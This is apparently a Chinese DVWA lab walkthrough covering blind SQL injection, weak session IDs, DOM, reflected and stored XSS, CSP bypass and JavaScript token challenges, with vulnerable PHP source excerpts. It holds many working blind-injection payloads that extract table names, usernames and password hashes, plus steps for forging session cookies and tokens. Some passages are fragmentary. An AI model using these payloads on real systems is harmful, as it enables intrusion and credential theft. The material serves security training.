// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
一.判断是否存在注入,注入的类型
1.输入1
2.输入'
3.输入1 and 1=1#
4.输入1 and 1=2#
5.输入1' and 1=1#
6.输入1' and 1=2#
由5和6构造真假条件返回对应不同的结果,可知存在字符型的SQL盲注漏洞
二猜解当前数据库名称
数据库名称的属性:字符长度,字符组成的元素(字母/数字/下划线/...)&元素的位置(首位/第2位/.../末位)
1.判断数据库名称的长度(二分法思维)
输入1' and length(database())>10 #
输入1' and length(database())>5 #
输入1' and length(database())>3 #
输入1' and length(database())=4 #
当前所连接数据库名称的长度=4
2.判断数据库名称的字符组成元素
此时利用substr()函数从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCLL码,与对应的ASCLL码值比较大小,找到比值相同时的字符,然后各个击破。
输入1' and ascii(substr(database(),1,1))>88 #
输入1' and ascii(substr(database(),1,1))>105 #
输入1' and ascii(substr(database(),1,1))>96 #
输入1' and ascii(substr(database(),1,1))>100 #
输入1' and ascii(substr(database(),1,1))>98 #
输入1' and ascii(substr(database(),1,1))=99 #
输入1' and ascii(substr(database(),1,1))=100 #
数据库名称的首位字符对应的ASCLL码为100,查询是d
类似以上操作,分别猜解第2/3/4位元素的字符:
输入1' and ascii(substr(database(),2,1))>88 #
第二位字符为v
输入1' and ascii(substr(database(),3,1))>88 #
第三位字符为w
输入1' and ascii(substr(database(),4,1))>88 #
第三位字符为a
从而获得到当前连接数据库的名称为:dvwa
3.猜解数据库中的表名
数据表属性:指定数据库下表的个数,每个表的名称(表名长度,表名组成长度)
1.猜解表的个数
输入1' and (select count(table_name)from information_schema.tables where tables_schema=database())>10 #
输入1' and (select count(table_name)from information_schema.tables where tables_schema=database())>5 #
输入1' and (select count(table_name)from information_schema.tables where tables_schema=database())>2 #
输入1' and (select count(table_name)from information_schema.tables where tables_schema=database())=2 #
dvwa数据库中表的个数=2
2.猜解表名
输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #
输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 #
输入1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
dvwa数据库中第1个表的名称字符长度=9
3.表名称的字符组成
依次取出dvwa数据库第1个表的第1/2/.../9个字符分别猜解
输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>105 #
输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>96 #
输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 #
输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 #
输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 #
输入1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #
dvwa数据库中第1个表的第一个字符的ASCLL码=103,对应的字符为g
依次猜解出其他位置的字符分别为:u,e,s,t,b,o,o,k
从而dvwa数据库第1个表的名称为guestbook
以
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>88 #
...
猜解出dvwa数据库第2个表的名称为:users
4.猜解表中的字段名
表中的字段名属性:表中的字段数目,某个字段名的字符长度,字段的字符组成及位置,某个字段名全名匹配
1.猜解users表中的字段数目
输入1' and (select count(column_name)from information_schema.columns where table_schema=database() and table name='users')>10 #
输入1' and (select count(column_name)from information_schema.columns where table_schema=database() and table name='users')>5 #
输入1' and (select count(column_name)from information_schema.columns where table_schema=database() and table name='users')>8 #
输入1' and (select count(column_name)from information_schema.columns where table_schema=database() and table name='users')=8#
dvwa库的users表中有8个字段
2.猜解users表中的各个字段的名称
输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='username')=1 #
输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='user_name')=1 #
输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='u_name')=1 #
输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='uname')=1 #
输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='user')=1 #
users表中存在字段user
输入1' and(select count(*)from information_schema.columns where table_schema=database()and table_name='users'and column_name='password')=1 #
users表中存在字段password
5.获取表中的字段值
1.用户名的字段值
1' and length(substr((select user from users limit 0,1),1))>10 #
1' and length(substr((select user from users limit 0,1),1))>5 #
1' and length(substr((select user from users limit 0,1),1))>3 #
1' and length(substr((select user from users limit 0,1),1))=4 #
1' and length(substr((select user from users limit 0,1),1))=5 #
user字段中第1个字段值的字符长度=5
2.密码的字段值
1' and length(substr((select password from users limit 0,1),1))>10 #
1' and length(substr((select password from users limit 0,1),1))>20 #
1' and length(substr((select password from users limit 0,1),1))>40 #
1' and length(substr((select password from users limit 0,1),1))>30 #
1' and length(substr((select password from users limit 0,1),1))>35 #
1' and length(substr((select password from users limit 0,1),1))>33 #
1' and length(substr((select password from users limit 0,1),1))=32 #
password字段中第1个字段值的字符长度=32
输入1' and substr((select user from users limit 0,1),1)='admin'#
1' and (select count(*)from users where user='admin')=1#
输入1' and (select count(*)from users where user='admin123')=1#
输入1' and (select count(*)from users where user='root')=1#
user字段的第1组取值为admin
输入1' and (select count(*)from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1#
输入1' and (select count(*)from users where user='admin' and password='e10adc3949ba59abbe56e0571201883e')=1#
user---password字段的第1组取值:admin---password
6.验证字段值的有效性
将以上admin---password填写到登陆界面中,尝试登陆是否成功
登陆成功
存在数字型的SQL盲注漏洞
对特殊符号进行了转义处理,所以对于带有引号包含字符串的字段值,可以转换成16进制的形式进行绕过限制,从而提交到数据库进行查询
如:猜解表中的字段名时,猜解字段名的长度(对字段值users进行16进制转换为0x7573657273)
输入1 and if(length(database())=4,sleep(2),1)#
输入1 and if(length(database())=5,sleep(2),1)#
输入1 and if(length(database())>10,sleep(2),1)#
根据响应时间的差异,可知当前连接数据库名称的字符长度=4,此时确实执行了sleep(2)函数,使得响应时间比正常响应延迟2s
输入1 and if(ascii(substr(database(),1,1))>88,sleep(2),1)#
输入1 and if(ascii(substr(database(),1,1))>105,sleep(2),1)#
输入1 and if(ascii(substr(database(),1,1))>96,sleep(2),1)#
输入1 and if(ascii(substr(database(),1,1))>101,sleep(2),1)#
输入1 and if(ascii(substr(database(),1,1))>99,sleep(2),1)#
输入1 and if(ascii(substr(database(),1,1))=101,sleep(2),1)#
输入1 and if(ascii(substr(database(),1,1))=100,sleep(2),1)#
当前连接数据库名称的第1个字符的ASCII码为100,对应字母为d
类似以上操作,分别猜解第2/3/4位元素的字符:
输入1' and ascii(substr(database(),2,1))>88 #
第二位字符为v
输入1' and ascii(substr(database(),3,1))>88 #
第三位字符为w
输入1' and ascii(substr(database(),4,1))>88 #
第三位字符为a
从而获得到当前连接数据库的名称为:dvwa
输入1 and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
//返回MISSING时,会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
high模式和low模式相同
一.判断是否存在注入,注入的类型
1.输入1
2.输入'
3.输入1 and 1=1#
4.输入1 and 1=2#
5.输入1' and 1=1#
6.输入1' and 1=2#
对于LIMIT 1的限制输出记录数目,可以利用#注释其限制;服务端可能会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s,这样会对正常的基于时间延迟的盲注测试造成干扰。因此可以考虑用基于布尔的盲注进行测试
prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
//使用PDO
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
l impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
l 只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
l 利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
l Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过
点Generate,抓包
退出用户,再登录,点Generate,抓包
试了八次,每次都是加1,这样的话,dvwaSession为验证用户身份的,就可以通过这种方式来越权
如果用户 SESSION中的 last_session_id 不存在就设为 0,如果dvwaSession存在就加一,这样肯定会造成session不是唯一,引发冲突。
代码cookie产生策略是:在上一个cookie值的基础上加一。当用户访问服务器的时候,Low级别的代码会先检查服务器是否存在名称为"last_session_id"的session,如果存在,取出其值,自加一后赋值给名称为"dvwaSession"的cookie。
http://dvwa/vulnerabilities/weak_id/
dvwaSession=9; PHPSESSID=dkdi2mb2reavnghr49bhois345; security=low
选择cookie提交方式,
提交后发现直接登录dvwa,绕过密码验证:
点Generate,多抓几个包
使用时间戳在线查询工具就可以伪造啦
https://tool.lu/timestamp/
抓包
重放,发现服务器颁发的sessionID
复制c4ca4238a0b923820dcc509a6f75849b,使用md5解密
https://www.cmd5.com/
其实就是在Low的级别上md5加密
破解复杂
原理::DOM—based XSS漏洞是基于文档对象模型Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。
Dom型XSS常见三种状态:
1.Document.write 在页面上面写内容
2.innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML
3.eval 把字符串当代码执行
XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。
DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。
可能触发DOM型XSS的属性:
document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性
查看源代码,发现没有任何的固定和保护措施
输入default=#default
<
输入?default=English#
观察页面源码
if (document.location.href.indexOf(“default=”) >= 0) { var lang = document.location.href.substring(document.location.href.indexOf(“default=”)+8); document.write("" + (lang)+ “”); document.write("----");}
可以发现这里对我们输入的参数(lang)并没有进行URL解码,而在其他级别中是有解码过程的decodeURI(lang)。所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。
原理:跨站脚本攻击(XSS),使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的
反射型XSS是非持久性、参数型的跨站脚本。代码在Web应用参数中,例如搜索框的反射型XSS。
注意,反射型XSS代码出现在keyword参数中。但是容易被发现,导致很多漏洞提交平台不接收反射型XSS漏洞。
反射型Xss <全称跨站脚本攻击,是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中
其实反射型和DOM型的XSS差别主要在于,反射型是会往后台服务器发送请求,而DOM型直接在前端进行解析;两者都是一次性的
可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。
Hello ' . $_GET[ 'name' ] . '
';
}
?>
输入点击提交,弹窗成功
转化为空
$name = str_replace( '
大小写混淆
输入
弹窗成功
high
Hello ${name}
";
}
?>
可以看到,high级别的代码使用了正则表达式直接把 <*s*c*r*i*p*t 给过滤了,* 代表一个或多个任意字符,i 代表不区分大小写。所以,我们的 时,因为 htmlspecialchars 函数会将 < 和 > 转换成html实体,并且${name}取的是$name的值,然后包围在
标签中被打印出来,所以我们插入的语句并不会被执行。攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。因为存储型XSS的代码存在于网页的代码中,可以说是永久型的。
存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
//mysql_close();
}
?>
查看源代码,发现message 有对于 空格的过滤,以及script的删除
name有对于页数字符的过滤
message 的过滤对于sql还有用,对于xss 基本无用
直接写入下面的script就可以绕过
输入
标签
// addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( ' ,strip_tags函数把只会显示alert(1),但只对Name进行了简单的过滤,因此可以从Name中进行双写绕过或大小写绕过攻击,但Name对字数进行了限制,所以只能抓包再攻击。
Burpsuite抓包改name参数为:
最终弹框
或者用双写绕过
抓包修改name
high
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
//mysql_close();
}
?>
可以看到,high级别只是在medium级别上,name参数用了正则表达式进行过滤而已,我们仍然可以在name参数做手脚,抓包,然后改包,只不过这次改成
我们输入如下的
抓包
修改name为
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行
内容安全策略绕过
HTTP Content-Security-Policy(CSP)即内容安全策略,script-src指令指定 JavaScript 的有效来源。这不仅包括直接加载到
";
}
$page[ 'body' ] .= '
从代码中分析,可知,该输入框是信任
https://pastebin.com
访问一下看看
可以在New Paste中写下代码,点击create去创建链接
点击raw形式(原生)来显示,
复制生成的js代码链接
https://pastebin.com/raw/AFm5Ptmkhttps://pastebin.com/raw/aPZQGjAqhttps://pastebin.com/raw/AFm5Ptmk
:)标记包含与CSP标头中指定的随机数匹配的随机数属性,则允许执行内联脚本或CSS 。随机数应为安全的随机字符串,并且不应重复使用。
#
?>
Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.
';
输入
成功弹窗
vulnerabilities/csp/source/high.php
The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.
1+2+3+4+5=
';
利用callback参数,Post
原理:JavaScript是一种基于对象和事件驱动的、并具有安全性能的脚本语言。是一种解释型语言(代码不需要进行预编译)。通常JavaScript脚本是通过嵌入在HTML中来实现自身的功能的
代码审计:中间那一大团使用了 md5 加密生成了 token,和之前的源码不同在于这次 token 是在前端生成的。generate_token() 函数的作用是获取 “phrase” 参数中的值,将其的 rot13 加密的结果进行 md5 加密作为 token 的值
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
//省略一些函数
。。。
function generate_token() {
//id为phrase就是input输入框中的值,将该值md5加密后,作为token进行验证
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
EOF;
?>
提示输入success
token不正确
查看页面源代码
发现token的值是md5(rot13(phrase))
https://www.jisuan.mobi/puzzm6z1B1HH6yXW.html
rot13(success)
ebg13(fhpprff)
md5(fhpprff)
https://www.107000.com/T-Md5
token的值,就是下面四种情况一个一个试吧
最后试出来是32位小写
38581812B435834EBF84EBCC2C6424D6
抓包
修改前两个参数的值
token=38581812b435834ebf84ebcc2c6424d6&phrase=success&send=Submit
vulnerabilities/javascript/source/medium.js
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
setTimeout(function () {
do_elsesomething("XX")
}, 300);
function do_elsesomething(e) {
document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}
看代码的逻辑,token为
alert(do_something(“XX”+‘success’+“XX”));
先输入success抓包
修改token的值
vulnerabilities/javascript/source/high.js关键代码
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
输入框输入
success
在Console执行
token_part_1(“ABCD”, 44)
token_part_2(“XX”)
提交